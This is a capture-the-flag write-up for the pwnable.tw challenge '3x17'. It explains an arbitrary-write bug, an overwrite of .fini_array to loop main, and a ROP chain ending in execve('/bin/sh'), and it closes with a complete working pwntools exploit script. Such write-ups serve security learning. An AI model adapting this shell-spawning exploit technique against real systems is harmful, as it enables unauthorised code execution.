BACK TO ALL BLOGS

3x17 - pwnable.tw

12/18/2025
Binary Exploitpwnable.tw

Challenge Description

File type

bash
1$ file 3x17
23x17: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 3.2.0, BuildID[sha1]=a9f43736cc372b3d1682efa57f19a4d5c70e41d3, stripped

Binary Protection

bash
1$ checksec 3x17
2[*] './3x17'
3 Arch: amd64-64-little
4 RELRO: Partial RELRO
5 Stack: No canary found
6 NX: NX enabled
7 PIE: No PIE (0x400000)

Background

  • 3x17 allows user to write any data to an arbitrary memory address.
bash
1$ ./3x17
2addr:123
3data:abc
  • The program reads input memory address from user and uses read function to write user's data to that memory address
c
1int __fastcall main(int argc, const char **argv, const char **envp)
2{
3 int result; // eax
4 char *v4; // [rsp+8h] [rbp-28h]
5 char buf[24]; // [rsp+10h] [rbp-20h] BYREF
6 unsigned __int64 v6; // [rsp+28h] [rbp-8h]
7
8 v6 = __readfsqword(0x28u);
9 result = (unsigned __int8)++byte_4B9330;
10 if ( byte_4B9330 == 1 )
11 {
12 write(1u, "addr:", 5uLL);
13 read(0, buf, 0x18uLL);
14 v4 = (char *)(int)atoll(buf);
15 write(1u, "data:", 5uLL);
16 read(0, v4, 0x18uLL);
17 result = 0;
18 }
19 if ( __readfsqword(0x28u) != v6 ) // exits if overflow happens
20 sub_44A3E0();
21 return result;
22}
  • Constraints: The maximum length of data from user allowed is 0x18

Exploitation

General Idea

  • Because this binary file is statically linked and stripped, we don't have any clue about which address need to be write into GOT entry. Instead, we should exploit the termination process.
  • After main function returns, the program continues to call __libc_csu_fini which executes each funtion in .fini_array section from the last one to the first one. There are 2 addresses of functions in .fini_array section:
plaintext
1Disassembly of section .fini_array:
2
300000000004b40f0 <.fini_array>:
4 4b40f0: 00 1b add BYTE PTR [rbx],bl
5 4b40f2: 40 00 00 rex add BYTE PTR [rax],al
6 4b40f5: 00 00 add BYTE PTR [rax],al
7 4b40f7: 00 80 15 40 00 00 add BYTE PTR [rax+0x4015],al
8 4b40fd: 00 00 add BYTE PTR [rax],al
9 ...
  • The idea is to write the address of main function and __libc_csu_fini function into this array so that we can do arbitrary write more than once. This helps us write more data than the length limit of the input data in main function.
  • After that, we need to construct a ROP chain and write it right into .fini_array section since rbp will point to the first element of .fini_array.

Get Shell

  • ROP chain is:
plaintext
1leave
2ret
3|
4pop rax
5ret
6|
7pop rdi
8ret
9|
10pop rsi
11ret
12|
13pop rdx
14ret
15|
16syscall
  • The first 2 ROP gadgets will be placed in 2 elements of .fini_array, and the other will be written to the subsequent addresses. Therefore, to maintain the 'loop' arbitrary write process before actually getting shell, we should write 2 those ROP addresses in the end.

Exploit Code

python
1from pwn import *
2import utils
3
4context.terminal = "kitty"
5context.log_level = "debug"
6context.arch = "amd64"
7
8TARGET = "./bin/3x17"
9
10target = process(TARGET)
11# target = remote("chall.pwnable.tw", 10105)
12gdb.attach(target, gdbscript="b *(0x401ba3)")
13
14exe = ELF(TARGET)
15libc = exe.libc
16rop = ROP(exe)
17
18def get_address(index: int):
19 fini_array_addr = 0x4b40f0
20 return fini_array_addr + index * 8
21
22target.sendafter(b"addr:", str(get_address(0)).encode())
23libc_csu_fini_addr = 0x402960
24main_addr = 0x401b6d
25payload = p64(libc_csu_fini_addr) + p64(main_addr) + p64(59)
26target.sendafter(b"data:", payload)
27
28target.sendafter(b"addr:", str(get_address(3)).encode())
29pop_rdi_addr = 0x401696
30pop_rsi_addr = 0x406c30
31payload = p64(pop_rdi_addr) + p64(get_address(10)) + p64(pop_rsi_addr)
32target.sendafter(b"data:", payload)
33
34target.sendafter(b"addr:", str(get_address(6)).encode())
35pop_rdx_addr = 0x446e35
36payload = b'\x00' * 8 + p64(pop_rdx_addr) + b'\x00' * 8
37target.sendafter(b"data:", payload)
38
39target.sendafter(b"addr:", str(get_address(9)).encode())
40syscall_addr = 0x4022b4
41payload = p64(syscall_addr) + b'/bin/sh\x00'
42target.sendafter(b"data", payload)
43
44target.sendafter(b"addr:", str(get_address(0)).encode())
45pop_rax_addr = 0x41e4af
46leave_addr = 0x401c4b
47payload = p64(leave_addr) + p64(pop_rax_addr)
48target.sendafter(b"data:", payload)
49
50target.interactive()